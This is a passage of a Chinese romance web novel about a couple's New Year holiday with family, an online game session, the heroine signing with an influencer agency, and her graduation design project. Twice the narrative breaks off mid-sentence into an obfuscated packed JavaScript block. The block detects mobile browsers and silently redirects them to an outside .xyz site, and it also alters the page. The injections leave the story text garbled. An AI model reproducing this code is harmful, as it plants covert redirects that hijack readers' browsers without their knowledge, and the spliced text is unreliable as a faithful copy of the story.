秦见夏见秦国海在陪着谈承春夫妇聊天,恩恩在对着落地窗哈气,自己玩得不亦乐乎,连忙趁机用手捏住他的下巴,让他低头,在他唇上蜻蜓点水般啄了啄。 “晚上来我房间。” 秦见夏微弱的声音落在他耳边:“奖励你。” 谈继秋的耳尖霎时以肉眼可见的速度涨红。 “不、不用了。” 他结结巴巴地拒绝。 秦见夏扔下句“不来是狗”,随即转身加入秦国海的聊天局。 大年三十当晚,一家人其乐融融地聚在餐桌前举杯,齐声祝贺:“新年快乐!” 恩恩精力十足地扒了两口饭后,满地跑来跑去不肯好好坐着,霍东岳习以为常地满屋子追着她喂饭。 谈承春和秦国海豪放对饮,一边喝酒一边分析局势,秦见夏作为半个北方人,则和一整个北方人赵霞对着春晚连连吐槽。 谈继秋坐在最角落,一边给秦见夏剥虾,一边看着她们笑。 这是他人生中最圆满的一个春节。 希望以后岁岁有今朝。 吃过团圆饭后,赵霞和秦国海作为长辈,给所有小辈一人包了一个大红包。 不仅秦见夏和恩恩有红包,连谈继秋、谈承春和霍东岳都有红包。 搞得谈家人十分感动,几经推辞后还是收下了。 这还是谈承春首次收到每人一样厚的红包。 之前在自己家时,每年弟弟的红包都比她厚很多,她的红包里只有一点零钱。 她如同无数个家庭里的女孩那样,沉默地接过、道谢,得过且过。 谈继秋心知肚明,却并没有默默地当既得利益者,而是每回都把自己的红包偷偷给谈承春分一半,当晚神不知鬼不觉地压在她枕头底下。 于是谈承春在每个新年的第一天清晨,都能收获到来自弟弟的“心意”。 他总是看上去闷不做声,但从很小的时候心里就有主意。 这些年,这个弟弟实打实的行为,也让她对家庭的怨怼消解不少。 然而只是消解,疤痕却永久地落在那里了。 它位于时常能触及到的部位,摸上去不再疼痛,可被劈开血肉的那一瞬间,却是怎么也忘不掉。 人被刀割过后,总是会下意识抚摸伤疤,然后回忆受伤时的场景。 没有经历过的人或许永远也无法理解,人工缝合密切的微小创口,也会留下一道终生都难以褪去的痕迹。 今天,还是她第一次享受到平等的待遇。 谈承春感动得落泪,恩恩和霍东岳过来心疼地安慰她。 赵霞却感慨地笑着:“大过年的哭什么,不吉利!” “孩子,以后每年都有,你还每年都哭上一回啊?” 众人顿时笑作一团。 红包这个事,是秦见夏和父母不久前才商量好的,因为谈承春也带来了很多很多礼物,那一行李箱大部分都是直接从港城买来的奢侈品,她跟大白菜似的送他们。 知道赵霞夫妇爱喝茶,霍东岳还托人特意买了上好的大红袍送他们。 所以这点红包其实不算什么。 心意更加珍贵。 谈承春悄声对弟弟说:“你命真好,遇到好人家了。” “要好好对待夏夏和她家人。” “当然。” 谈继秋不声不响地应道。 除夕有守夜的习俗,作为夜猫子的秦见夏,自然是要守岁。 赵霞和秦国海早早就撑不住了,先去房间休息睡觉。 刚洗完碗打扫好卫生的四个年轻人才坐到沙发上,秦见夏突然双眼放光地提议:“这才刚九点多,要不我们去楼下打雪仗吧!指不定还能现场看到别人家放烟花!” 全家只有唯一一个更年轻的小孩激动地鼓起掌,激烈地捧场:“好啊好啊——” 其他三个步入中年的人:“……” 谈继秋不赞同地说:“不行,这么晚玩雪会感冒的。” 谈承春也点点头,瘫在沙发上,用遥控器将电视声音调低:“咱们就在家看春晚吧,我还是第一次看,明天再去玩。” “明天雪化了怎么办啊。”秦见夏苦恼道。 “不会,”霍东岳翻看着天气预报,说,“最近都是零下,后天降雪概率是百分之九十。” “那还行诶。” 秦见夏和恩恩只好作罢。 几人看了会春晚,无聊得谈承春夫妇眼皮直打架,而且他们也不太懂有些梗,就互相道别回房间睡觉了。 徒留恩恩和他们大眼瞪小眼。 谈继秋本来正揽着秦见夏躺在沙发上,父母走后恩恩觉得无聊了,非要凑过来挤在两人中间。 还必须窝进秦见夏怀里才满意。 谈继秋有时候真的很想把她扔出去。 秦见夏想着对于小孩来说确实无聊,便问她:“你不和爸爸妈妈去睡觉吗?” “我还不困,”恩恩神采奕奕地蹭了蹭秦见夏,“我要陪着阿妗~” 谈继秋:“……你烦不烦,她不需要你陪。” “和你无关!”恩恩怒言,“这是我们女孩子的事情!” 谈继秋:“……” 秦见夏哭笑不得地指挥谈继秋拿来iPad,帮恩恩打开视频软件,支起外壳放进她手里:“小宝,你可以去那边看动画片,阿妗开了会员,什么都能看喔。” 没有任何小孩能拒绝动画片的诱惑。 恩恩激动地抱着iPad:“谢谢阿妗!阿妗你对我最好啦~” 然后兴奋地忘乎所以,当即扭头坐到一边,聚精会神地看起她最喜欢的艾莎公主,还是英文版。 总算得以清闲,谈继秋再度和秦见夏肌肤相贴,嗅到她发间柑橘味洗发水的味道,心神一动,忍不住低头与她亲吻。 他今天有些急切,秦见夏招架不住,红着脸将他推开,示意他外甥女还在不远处。 “我动作小点。” 谈继秋的胸腔微微起伏,整个人散发出说不上来的人夫感诱惑。 秦见夏抬眸,瞧着他摄人心魄的瞳孔,迷恋地用手指捻过他漂亮的眼尾,主动亲了上去。 谈继秋顿时心花怒放,继续攻城略地。 躲在小孩背后亲密,似乎有种说不上来的刺激,好像在偷|情一样。 谈继秋很快便把持不住,微微拉开和秦见夏的距离。 两人都红着耳朵轻声喘|息时,秦见夏的手机倏地响起。 “是王铭发来的,”她看了一眼,问男友,“他问咱们要不要打王者,他对象想玩游 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16100374|173101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戏。” “反正现在也无聊,要不然咱们一起玩两把?”秦见夏提议道。 对于加入秦见夏的社交圈这件事,谈继秋是非常乐意的,闻言立刻拿过手机:“等我更新一下。” 四人进房间后才发现不能四排,只能双排、三排或者五排。 只好再等一个人才能开局。 “王铭你倒是拉人啊。”秦见夏心急地催他。 王铭那边声音有点嘈杂:“我倒是想拉,叫不来有啥办法。” 王铭的女朋友也打字:「我也拉不来人」 谈继秋是更没指望。 这时,刚好看到好友列表里熟悉的头像亮了,秦见夏火速点了邀请。 “秦见夏你怎么把他给拉来了。” 谈继秋看清来人,一下就急了。 “谁啊谁啊?”王铭从秦见夏的话筒里听到熟悉的声音,八卦地问,“是谁让咱们秋神这么生气?” “是Daybreak,”秦见夏幽幽道,“你破皇。” 王铭:“那难怪了。” 王铭依旧语不惊人死不休:“没事的,神,这次咱们是队友,破皇不会再把你打退役了。” “不对,你已经退役了。” 谈继秋:“……” 秦见夏在一旁笑到捶沙发。 谈继秋瞪了她一眼,秦见夏立刻道:“干嘛啊,你不是和Daybreak关系挺好的吗?咱们刚好缺个打野,你打野跟我一样菜,我可不想掉星。” 人都拉来了,谈继秋也没话说。 本来他是想玩辅助跟秦见夏的,结果谁能想到王铭的女朋友只会玩辅助,王铭又想在两个偶像面前秀一秀他的花木兰,那让他女朋友跟谈继秋也不合适。 最后就只能他去玩中单,秦见夏玩射手,王铭女朋友跟秦见夏。 其实每次都是她和王铭对象走下路,秦见夏早已习惯,和他女朋友玩了马瑶。 不仅如此,她还骚包地一出泉水就回头对着瑶放了个一技能。 看得谈继秋连连蹙眉:“你这是跟谁学的。” “你别管。” 秦见夏正幻想自己是网络男神,又上头地发了个贴贴的表情。 谈继秋撇嘴,不爽道:“太油腻。” 秦见夏顺手抄起抱枕砸他。 果然不出意外地还是出现了意外。 Daybreak吃了谈继秋的中线,于是他就更不爽了,说自己打完这把就要去睡觉。 秦见夏心想他真不给面子,尴尬地打圆场:“他今天做了一天家务,有点累了。” “哟,”王铭仿佛见鬼一样,“神还会做家务?” 谈继秋语气毫无波澜地说:“你破皇更是会包饺子呢。” 王铭又“哟”了一声。 由于谈继秋很久没玩中单,秦见夏很久没玩射手,王铭和他对象很久没玩王者,只能靠Daybreak卖力地挥着镰刀。 Daybreak努力得所有人都沉默了。 所以,这把显而易见地输了。 王铭感到匪夷所思:“真神了,两个LOL职业选手带,咱们居然能输?” 众人:“……” 很快就到新年倒计时了,大家调侃几句后也纷纷下线,准备卡点发朋友圈。 “3——2——1——” “新年快乐!” 窗外烟花绽放,鞭炮齐鸣。 恩恩扒着窗户,瞳孔里折射出彩色的光。 秦见夏回复完朋友们发来的新年祝福,开心地仰起脖子,亲了亲谈继秋的侧脸。 “谈继秋,新年快乐!” “新的一年,希望你好好睡觉、好好吃饭,少跟我闹别扭!” 谈继秋也笑着蹭了蹭她柔软的脸颊,许愿似的说:“新的一年,希望你喜欢我更久一点。” 秦见夏闻言,乐不可支地用手捏了捏他的脸。 “傻子。” 这是他们一起度过的第一个春节。 她坚信,他们还有很长的以后。 好不容易把恩恩哄进房间,秦见夏总算能偷偷摸摸地和谈继秋回到她的卧室。 四个房间,两个最大的分给了两对夫妻,她和谈继秋一人一间小卧室。 刚进门,她就摸黑将谈继秋推倒在床,趴在他身上亲了又亲。 谈继秋也搂着秦见夏的腰肢,手掌克制地上下摩挲,连连点火。 某种不可名状的刺激传来,秦见夏轻哼两声,下意识推了推他的脑袋。 谈继秋只好换手,托起她的后颈,将她的声音吞吃入腹。 旖|旎不断升温,秦见夏感觉自己正漂在一望无际的汪洋上。 她轻声附在他耳边:“在抽屉里,我买了……” 不料他却说:“不行。” “我没想和你做到最后一步。” 谈继秋瞧见她红润的脸颊,更加卖力。 秦见夏:“?” “什么意思?” 她感觉这一来二去,自己都要萎了。 气氛骤然全无,秦见夏推开他的手,不悦地盖上被子,坐得离他远一些:“为什么不能到最后一步?” 谈继秋难耐地凑近,抱住她,深吸一口气:“等你毕业再说。” “你有毛病吧,”秦见夏彻底无语,意识到他确实不解风情,搞得她似乎多饥|渴一样,“我又不是未成年……每回都要我主动,谈继秋你知不知道你有时候真的很讨厌!” 她愤愤不平地彻底躺下,拉起被子,背过身不理他。 谈继秋内心天人交战了半晌,自己也实在受不了了,便鬼迷心窍地拉开抽屉。 秦见夏听到抽屉被拉开的声音,意料之中地勾了勾唇。 正准备贴身上去时,寂静中却传来敲门的声音—— “阿妗,我能不能和你一起睡啊,我想被你抱着睡……” 78. 毕业啦 满室火花顿时被浇灭。 谈继秋沉了口气,认命地再度将抽屉阖上。 “还好我们不生小孩。” 他用只有他们才能听到的声音吐槽。 恩恩又轻声敲了敲门,礼貌地重复一遍自己的请求。 谈继秋烦躁地俯下身子,亲了亲秦见夏,语气委屈且黏糊:“我也想被你抱着睡……” “你让她走。” 秦见夏纠结了两秒钟,对门外道:“恩恩,明天阿妗再陪你一起睡好不好?这会我已经钻进被窝啦。” 恩恩撒娇:“不要嘛阿妗,刚好我和你一起钻被窝~” “阿妗是世界上最漂亮的舅母,一定不会拒绝恩恩的对不对?” 谈继秋冷哼一声:“小绿茶。” 秦见夏拍他一巴掌:“不许这么说恩恩!” “说得好像你自己就不绿茶?” “阿妗,我怎么好像听到了舅父的声音啊?” “哈哈哈,你听错了,”秦见夏连忙捂住谈继秋的嘴,冲外面喊,“恩恩麻烦你先帮我去厨房柜子下边取一包卫生纸好不好?我马上开门。” “好——” 听到小屁孩的脚步声跑远,秦见夏火速打开门将人推走。 谈继秋满脸幽怨,只能像情|夫一样溜之大吉。 他一连幽怨了整整一周。 白天他们要陪家人出去逛景点,晚上回来恩恩又一直缠着秦见夏,每天连睡觉都要秦见夏陪着。 小孩绝对是魔鬼。 好在谈承春一家只在南城待了不到一周,依依惜别时,恩恩抱着秦见夏的脖子,还说什么要把她拐到港城去。 他们一家走后,清闲倒是清闲了,秦见夏却又忙碌起来。 不仅每天为毕业设计绞尽脑汁,还天天闷在房间里剪视频,说是过年录了许多出去玩的素材,要一口气全部剪出来当存货。 谈继秋想要在房间里陪她,她还不乐意,说自己必须一个人待着才有灵感。 赵霞和秦国海夫妻俩忙着串门和朋友聚会,整个家里居然只有谈继秋成了闲人。 他只好每天开播,两眼一睁就是LOL,一直播到秦见夏喊他来家里吃饭,吃完饭回来又继续直播。 当然,最近午饭是他们自己动手做的,晚饭吃赵霞打包回来的剩菜。 说是剩菜,基本都没怎么动过,他俩天天跟着吃大鱼大肉,后面说什么也不让他们打包了,宁愿自己喝点清粥。 春节期间是流量巅峰,秦见夏日更了好多天,一直忙碌到过完年,才松了一口气。 忙碌也是有效果的,她的粉丝又涨了不少,浏览量和完播率都不错。 互联网其实又吃运气又吃努力。 很少有一条就爆的账号,想要流量就得勤奋更新提高曝光度,但是光有曝光不勤奋更新也没用。 做任何事都是这样,努力是必不可少的基础。 秦见夏现在一条广告的报价又是水涨船高,有不少MCN机构都向她抛出了橄榄枝,她对签公司的事比较谨慎,特意去找谈继秋当面问了问。 原先她是不太想签MCN的,一来担心被骗,二来签公司之后广告费肯定要给他们抽成,不像现在这样自己全拿。 谈继秋却建议她慢慢签个合适的大公司,毕竟商务对接这方面还是专人专办更合适,秦见夏即便再全能也会分身乏术。 后来也不知道陈姐从哪里得知她有签公司的想法,复工第一天就给她打了电话,想要让秦见夏签在她名下。 据她所知,谈继秋的直播约和经纪约好像是分开的,不是她想象中那样全部签给黄油了。他现在名义上其实是隶属于陈姐的MCN“浮悦互娱”旗下的主播。 浮悦互娱算是业内顶尖机构,孵化出许多千万粉丝的KOL矩阵,谈继秋这种百万粉丝级别只能算作第二梯队。 总之,浮悦互娱在游戏直播和网红孵化领域算是占据垄断地位,公司风评也不错。 陈姐直接给秦见夏发了一份对于她的长期路线规划提案,并承诺会给她比较自由的权限。 比如整个脚本拍摄剪辑的过程都由她自己全权处理,公司只负责她的商务合作,例如和品牌方对接商务,以及安排商业活动等方向。 她只需要在更新账号前把视频发给公司审核一遍敏感内容即可,公司不会插手过多。 陈姐甚至还给了她试用期,三个月内,她对公司有任何不满可以随时解约,这条是写进合同里的。 秦见夏看完陈姐发来的pdf后,其实就想当场答应下来,但她还是忍了忍,说:“我再考虑考虑。” 这还是赵霞教她的处事方法,不能让对方认为是她操之过急。 和买东西讨价还价是同样的道理,越持着一种可有可无的态度,对方就越想达成这桩交易。 陈姐又劝了两句:“Jichoo不是你男朋友嘛,他现在的商业价值你也看到了,足以证明我司实力……” “况且他也入了股,你来我们公司也算自家人,姐姐不会亏待你的。” 秦见夏:“?” 和陈姐沟通过后,秦见夏当即给谈继秋发了微信。 秦见夏:「你怎么还入股浮悦了?」 秦见夏:「不是只是黄油的小股东吗?」 谈继秋虽然在直播,但也回得很快:「这冲突吗」 秦见夏:「那你怎么不告诉我?」 谈继秋:「你也没问啊」 谈继秋:「况且如果我告诉你了,照你这个性格,肯定会无脑签我们公司」 谈继秋:「你还是要综合考虑个人实际情况,不要因为我的关系才选择浮悦」 他说得很有道理。 如果她提前知道的话,肯定想也不想就答应陈姐了。 秦见夏:「不过你们公司给的待遇蛮好的,对我来说账号自由度很高,解约也不用回收账号,比起其他mcn好太多了,居然还给交五险一金」 秦见夏:「而且陈姐还发我了策划案,帮我做了比较专业的swot分析,以后会帮我细化博主定位,我这个方向目前好像也是你们公司比较欠缺的领域,一些资源可能会倾向我,我感觉还挺不错的,一会我再去问问小如姐」 谈继秋轻笑两声:「这下是不是彻底不用发愁毕业去向了?」 秦见夏:「那倒也不是,毕竟自媒体也是个玄学饭,不是谁都有你这样的脸蛋红利的」 秦见夏:「实在不行……还可以拍“211美术生毕业找不到工作开打印店的日常vlog”」 谈继秋:「你开打印店我就在店里直播,到时候粉丝都来排队找你打印照片让我签名,也是条产业链」 秦见夏被他笑得肚子痛。 谈继秋有时候确实很懂她的抽象。 - 考研出分当天,秦见夏和陈姐签署完合同,正式成为了谈继秋的同事。 她甚至在查成绩的时候都在录vlog,心道又能蹭一波热度了。 结果是显而易见地没考上。 都不用等国家线出来,她的分数除了政治和专业课一以外,剩下两门都惨不忍睹。 赵霞和秦国海看着秦见夏不到四十分的英语成绩笑了整整十分钟。 秦见夏:“……” 考研出分当晚,秦见夏就剪好了视频,给负责和她对接的小张发了过去。 其实她在犹豫,要不要曝光考研成绩,毕竟她好歹也是个211……目前还是想走点高逼格路线,比较符合她内心文艺青年的气质。 然而小张很快回复:「姐,你可能对自己有点误解」 小张:「高逼格路线又容易翻车又不好固粉变现,你之前走的也一直不是高逼格路线啊」 小张:「有哪个高逼格博主会频繁回复粉丝评论,还用那么抽象的表情包?」 秦见夏:「……」 小张:「姐,其实你走的是群众路线」 小张:「你的vlog很亲民啊,会让大家产生一种“原来211的学生也和我的生活一样啊”这种共情感」 小张:「而且你性格好长相也讨喜,所以大家看你视频会获得一种朝气蓬勃的力量感,加上你之前过年期间分享的家庭生活大家也爱看,看完会让人感觉比较放松,自然会收获很多粉丝」 小张:「这才是你真正的账号定位」 秦见夏:「谢谢你夸我哦」 秦见夏:「小张你不愧是专业人士,拍马屁很专业嘛/赞」 秦见夏:「我再去修改一下视频,现在灵感大爆发」 难怪她之前每次做pre或者策划案作业时,都会被老师喷用户定位不精准…… 每次她都是自我感觉比较良好,认为老师可能在找茬。 那现在看来,这个账号做得也有点歪打正着。 秦见夏又仔细修改了一遍视频,才严谨地导出1080P60帧同步了两个账号,针对两个平台也写了不同的文案。 视频发出后,她就打开电脑叫谈继秋上号星露谷了。 最近她开始沉迷这款像素种地游戏,登了谈继秋的Steam账号,发现他更是玩了一千多个小时。 她用他的号没日没夜地当了一天的老农民后,当即选择趁打折期间也买了pc端,和他一起联机种地。 谈继秋这家伙的确像零社交的死宅。 秦见夏也是登了他的账号才发现,这家伙光星际战甲就玩了6688个小时,绝地求生居然还仅次于这个游戏。 她把时长截图发给王铭评价一下什么水平。 王铭辣评:「总算知道神为什么打不过皇了」 秦见夏:「……」 秦见夏维护了一下神:「那也不可能一直打撸啊撸,休息期间玩玩别的又不犯法,再说了,也可能是退役后才开始玩的」 秦见夏:「我不是问你这个」 王铭:「懂了」 王铭:「等兄弟分析一波」 王铭:「我们都管玩那个warframe的叫仓鼠,然后秋神还是魂游爱好者,又是个老农民,说明此神情绪稳定,应该不咋会跟你吵架」 王铭:「不打瓦证明不把妹,反正,他这游戏库看起来就是一副毫无爱情的样子」 王铭:「你入室抢劫谈到他的?」 谁说情绪稳定不吵架的…… 这都多长时间了,谈继秋还天天阴阳怪气叫她“小夏”呢,要不然就是说要整容去做两个梨涡。 秦见夏“呵呵”一声,打字道:「和入室抢劫也差不多了」 王铭:「放心吧夏姐,双人成行和分手厨房都没动过,我敢保证,jichoo的第一次还在」 王铭:「你现在更需要考虑游戏和你谁更重要的问题」 秦见夏:「……」 当然是游戏更重要了! 秦见夏又在星露谷通宵种了一晚上地,第二天直接被谈继秋告发到赵霞那里去了,气得她直接上号给Steam设置了私密。 谈继秋像鬼一样缠着她:「steam隐身也没用,别忘了你那个档咱们是联机的状态,我能知道你大概玩了多久」 谈继秋:「而且我有你steam账号:)」 谈继秋:「以后别熬夜,对身体不好」 秦见夏:「你烦死人了!!!!」 谈继秋:「毕设做得怎么样了」 谈继秋:「几号开学?」 秦见夏:「毕设开题未定灵感不足进度暂无」 秦见夏:「不过我那条考研查分vlog爆了,你马上高攀不起我了,本人已经看到财富自由在向我招手」 秦见夏逐条回复他的问题:「大四下没课,主要就是搞毕设,反正导师什么时候让线下汇报进展,什么时候再去学校呗/憨笑」 秦见夏:「我导最近去意大利还是法国交流了,开完题才回来,可能三月中旬之后?」 秦见夏也不知道学院是什么尿性,A大别的院早开完题了,偏偏她们艺术学院与众不同,拖到年后还没开题答辩。 没开题就没办法直接着手做,六月份就要毕业答辩,不到三个月时间做出来的毕设,和平常作业有任何区别吗? 秦见夏已经将前期资料和市场调研提前备好了,范川随时突击检查,她都有东西pre。然而始终无法进行下一步,导致她只能天天在家焦虑地打游戏。 谈继秋最近有两个活动在京市,别的朋友都开学了,父母也忙碌起来。 她在家无聊到发霉,偶尔赶上天气不错的工作日,会选择独自出门逛逛喜欢的小店,为vlog积攒素材。 院里果然憋了个大的。 这次毕设和滁省南边某个小村庄达成了合作,继续围绕这个村搞非遗和乡村振兴。 那个小村庄她们之前考察课去过,完全就是一个普普通通的村子,没什么亮点和可宣传性,需要她们凭空捏造创新点出来。 而且村庄不远处就有一个热门景点,还和它撞了定位,导致更难做出创新。 这次毕设对于其他同学来说,无疑是天崩开局,有的人只围绕大的设计门类进行了构思,前期准备的方向完全错了,导师也不闻不问,现在只能彻底推翻重做。 范川组的却依旧各司其职。 导师是范川唯一的好处,可能也就是消息比较灵通吧…… 虽说选题是那个平平无奇的小村子,不过实际可操作性却比较高。 开题后,范川立刻又给她们三人开了线上会议,再给大家细化了一遍具体的选题方向。 秦见夏依旧做她的概念设计。 这次方向很明确了,就是把整个滁省南部的主要景点打造成系列ip。 然而,很显然,范川要的不止是ip。 范川想要秦见夏的狗命:) 概念设计即ConceptArt,是流行于国外的设计门类。 概念设计具体包含:角色设计、场景设计、道具设计等等,比较考验设计师的综合能力以及文化底蕴,被广泛应用于游戏、动画和电影领域。 国内不讲概念设计,分类更明确一些,例如产品设计、平面设计、UI设计、环境设计、动画等等。 那A大的视觉传达设计就是什么都学。 平面只是入门,秦见夏大学期间更是连摄影、动画、建模、虚幻5、篆刻、书法、设计心理学等等能学的都学了。 学了也是样样通样样松。 反正作业是糊弄过去了,交完作业的那一刻,连各个软件的快捷键都忘了个彻底。 范川直接给她上强度,强行让搞概念设计,那就是说——又要设计不同的角色,又要设计大场景,时间够的话甚至还得建模渲染。 这简直是对混子的酷刑。 那人家是系主任兼导师,咋能拒绝呢? 秦见夏只好怨声载道地在家里头悬梁锥刺股,天天泡在知网和维基百科,偶尔还要拷打一下ChatGPT,然后看着它胡编出来的文字陷入沉思。 最后,给谈继秋发微信说自己要跳玄武湖。 终于还是在第一次正式汇报前,用滁省本地神话故事改编了个背景概念出来,画了五个角色的草图给范川过目。 只是草图,也没什么具体东西,范川只能提供一些后续思路,让大家在三天之内把开题报告写完。 秦见夏真觉得这个毕设是别人的二倍速。 甚至当天就要提供开题报告的初稿给范川发过去。 时间紧迫,反正开题报告应该也不太重要,她就先拿ChatGPT生成了一版出来,得知班长也是拿GPT写的,就很放心地传了文档。 结果,范川看一眼就说:“建议你们别用ChatGPT,AI味儿太冲了,还是自己写吧,最后查重率太低也不行。” “现在AI只是给你编得看起来逻辑通顺,但仔细一看狗屁不通!你们论文写完拿去润色可以,直接用GPT生成就算了。” 噫吁嚱。 秦见夏只好纯手打,熬夜到三点半,敲完了将近两千字的开题报告。 好在范川对她写的开题报告还比较满意,一稿就过了,语气轻松地跑去磋磨她们组另外两个同学。 秦见夏刚关闭文档,松了半口气,范 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16100375|173101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 川又说要在三月中旬后回来汇报的那一天,直接出平面图。 她听后差点两眼一抹黑香消玉殒了。 只能一边问赵霞“延毕怎么办”,一边抱着iPad险些把pencil抡出火星子来。 谈继秋回到南城后也不敢打扰她,天天探监一样,来陪她待一会就回去直播。 估计是被秦见夏的勤奋劲感染到,最近他也天天开播。 秦见夏这属于是ddl前的极限操作,再不做就真做不完了。 她直到线下汇报的前半个小时,还在给最后一张线稿勤勤恳恳地上色。 结果,范川一看进展,惊讶道:“哟,没想到你画完了?” 面色憔悴的秦见夏:“……” 看他这副轻松的姿态,秦见夏还以为过稿了,没想到川总扭头就说:“你这个风格……不够传统啊,不符合滁南那边古村的调性。不知道的还以为是外国contryside呢。” 总而言之,就是一句话:“回去重新画,下周继续看进度。” 秦见夏简直差点吐血身亡。 重新思考要不要去投学校南门的人工湖。 不过唯一欣慰的是,她们组其他两个同学也被打回重做了。 反正大家都挺崩溃的。 只有范川他们组需要一周一汇报,而且强制线下,她只能继续在学校住下。 其实崩溃着崩溃着就习惯了。 秦见夏每天在艺术楼画画,边赶进度边挂着谈继秋的直播,勉强给他当成学习陪伴型主播用,等他下了播就和他打语音电话,连麦互相干自己的事。 毕设做得痛苦,不过有男朋友的线上陪伴,感觉也还不错。 秦见夏靠着每天一杯奶茶一杯咖啡续命,总算熬到80%的完成度了。 这期间又包括被推翻重做一次和小改两次,总算画出了范川满意的风格。 这还不算冲刺。 压死骆驼的最后一根稻草,是今年毕业答辩提前了。 往年是六月份答辩,今年五月十五就要预答辩,五月十九正式答辩,520当天布展。 消息一出,大伙彻底疯狂。 最恐怖的是,下周就要预答辩了,可大家的毕业论文基本都还没怎么写。 设计都改到不久前才正式确定最终风格,怎么可能提前写出八千字论文来。 宿舍里只有苏织和秦见夏在学校,陈文欣的毕设做最简单的ip,林喜的毕设是拍摄纪录片,她们的导师都相当佛系,所以她俩决定预答辩前再回来。 苏织不爱在家待,比秦见夏还早回学校。 她做的是系列插画,虽然她比秦见夏还摆烂,但到了最后关头,也不得不跟秦见夏一起在艺术楼连夜赶工。 那段时间刚好是“大x传”这个梗风靡互联网的间隙,两人每天早起去艺术楼,边看剧边学台词边做毕设,到了饭点就一起去食堂打包带回艺术楼,偶尔晚上得空,还去西门对面买点水果捞。 日子以电视剧集数为单位地过着,秦见夏感觉自己又梦回高三冲刺阶段。 赶完毕设的当天,这部老太太裹脚布一般的八十多集长剧也刚好看完了大结局。 不逼不知道,人的极限真的是无穷无尽。 她居然可以在两天时间内赶完八千字毕业论文,提前一周把主视觉的所有周边下完单,又用了最后一周时间赶完了剩下15%的进度。 在预答辩当天,秦见夏的整个毕设进度已经达到了95%。 她提前问了所有同学,大家都没做完,和她一样,打算用最后四天收尾。 所有人都以为,预答辩只是提前排练一下,毕竟参与预答辩的老师都是大家熟悉的佛系专业课老师。 然而大家都没想到,最慈祥的三个老师,反倒在预答辩的时候变脸了。 三位老师给所有同学都痛批一顿,更是对秦见夏的作品发出了夺命三连—— “什么概念设计,和乡村振兴有关联性吗?” “你把神话故事和概念设计结合,不觉得有些洋不洋、土不土的吗?” “我根本不知道你想表达什么,你的创新点太悬浮了,没有理论和具体的东西支撑,我想问下,你都参考了哪些有代表性的设计作品和文献?” 老师们还真是一念神魔。 直接给秦见夏输出得挂台上了。 当然,也不止她一个人答不出来。 几乎所有人出了教室门都情绪激动、面色苍白,认为自己要延毕。 范川早有预料地在毕设群里发了消息,让她们三个预答辩完就去负一楼等他。 她们三个紧张得跟仓鼠应激一样,胆战心惊地坐在工作室里交头接耳,叽叽喳喳地讨论着——不会真的要推翻重做吧。 结果范川挨个问了一遍老师们给每个人指出的问题。 然后气定神闲道:“不用理他们。” 只见川总大马金刀、大刀阔斧地挥一挥手,神色不羁:“他们懂个屁!” “都是瞎说的。” 三人:“?” 范川又露出那种无奈的神情:“都看我干嘛?继续回去赶进度啊!” “还是说——你们全部做完了?拿下来我看看。” “没有没有。” 三个女生迅速脚底抹油。 “答辩当天见咯~” 他倚在靠背上,相当放松。 导师是放松了。 秦见夏又在艺术楼熬了三天大夜。 答辩当天凌晨,好不容易彻底完成四十五页汇报ppt时,她感觉魂魄都被电脑抽干了。 秦见夏神情恍惚地拍了拍苏织:“织织,你看我最近是不是老了……” 苏织也顶着浓厚的黑眼圈和大油头:“谁不是呢?” “而且520当天布完展就要拍20级毕业照!我准备答辩完就去做个头发。” 秦见夏不由得哀嚎一声:“要不要赶这么紧啊——” 五月十九日,秦见夏终于、顺利完成了最终答辩。 这意味着—— 她人生中的最后一次pre,结束了。 再也不需要打开ps、Illustrator、procreate、c4d、keyshot;再也不用看到“滚滚长江东逝水”和弹出报错的ps;再也不会面对模糊不清的需求和无休止的修改和诘问。 整整四年青春,奉献给视觉传达设计,让她又恨又爱。 恨设计,也爱设计。 恨来恨去,还是恨这不是她想学的设计。 至少,设计不该是这样。 不该是无条件向甲方倾倒的设计。 不该是甲方满意用户却不满意的设计。 不该是千篇一律照搬照抄的设计。 不该是学生们毕业后月薪三千的设计。 设计本不应该这样没有骨气。 设计被压了又压,工资也被缩了又缩。 秦见夏不知道,这到底还算设计吗。 教科书上说—— “设计的任务不只是为生活和商业服务,同时也伴有艺术性的创作。” 现实却是为甲方的生活和商业服务。 然而,秦见夏中二病地想,设计不死。 只要思想一天存在,创作就会存在,艺术就会存在。 设计,便不会消亡。 所有人只记得AdobeIllustrator添加文字时默认弹出的那句“滚滚长江东逝水”。 秦见夏欣赏完同学们的毕业创作后,心底却浮现起它的后半句—— “浪花淘尽英雄。” 这像是“AI”的软件创作者留给他们的彩蛋,更像是一句判词。 不过,秦见夏也认为,这是她们“设计师”的一种英雄主义。 大浪淘沙,百舸争流,千帆历尽。 四年后的她,和入学时同样坚信,道路一定是光明的。 尘埃落定,秦见夏在回宿舍的路上,抬头望向湛蓝的天空。 她才刚刚大学毕业。 她的人生,才刚刚开始。 79. 天气晴 当然,毕业之路没这么顺利。 六月二十号之前,又要给班长发毕设展板,秦见夏和苏织刚计划好要一起去附近的商场大吃一顿,得到消息又只能灰溜溜地滚回宿舍,继续打开Illustrator,按下T之后熟练删掉“滚滚长江东逝水”。 紧赶慢赶,又完成了不知道是不是最后一次的ddl。 当秦见夏终于松了口气,打开手机时,又看到范川给毕设群里扔了一串偷拍照片。 